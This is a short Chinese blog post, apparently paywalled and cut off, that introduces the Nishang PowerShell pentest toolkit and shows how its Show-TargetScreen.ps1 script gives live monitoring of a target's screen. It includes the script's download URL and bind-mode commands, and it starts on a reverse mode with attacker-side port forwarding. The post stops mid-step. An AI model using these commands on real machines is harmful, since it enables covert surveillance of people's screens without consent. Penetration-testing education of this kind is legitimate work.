Nishang是基于PowerShell的渗透测试专用工具。集成了框架、脚本和各种payload。这些脚本是由Nishang的作者在真实渗透测试过程中有感而发编写的,具有实战价值。包括了下载和执行、键盘记录、dns、延时命令等脚本。今天要给大家介绍的是如何通过powershell对目标的屏幕进行实时监控。
脚本下载地址如下:
https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Show-TargetScreen.ps1
使用也很简单,脚本包括了reverse以及bind模式。下面是使用示例:
0x01 Bind模式:
PS C:\Users\evi1cg\Desktop> . .\Show-TargetScreen.ps1PS C:\Users\evi1cg\Desktop> Show-TargetScreen -Bind -Port 3333
然后在自己的计算机上使用火狐访问目标3333端口,结果如下图:

0x02Reverse模式
attacker:
在这里可以使用创宇的py脚本转发:
https://github.com/knownsec/rtcp
执行:
rt

本文介绍了如何利用Nishang中的Powershell脚本Show-TargetScreen.ps1对目标进行屏幕监控。提供了Bind和Reverse两种模式的使用方法,并详细解释了操作步骤,包括下载脚本、设置监听端口以及利用Py脚本转发。通过在目标机器上执行特定命令,攻击者可以在自己的计算机上实时查看目标屏幕。
最低0.47元/天 解锁文章
2103

被折叠的 条评论
为什么被折叠?



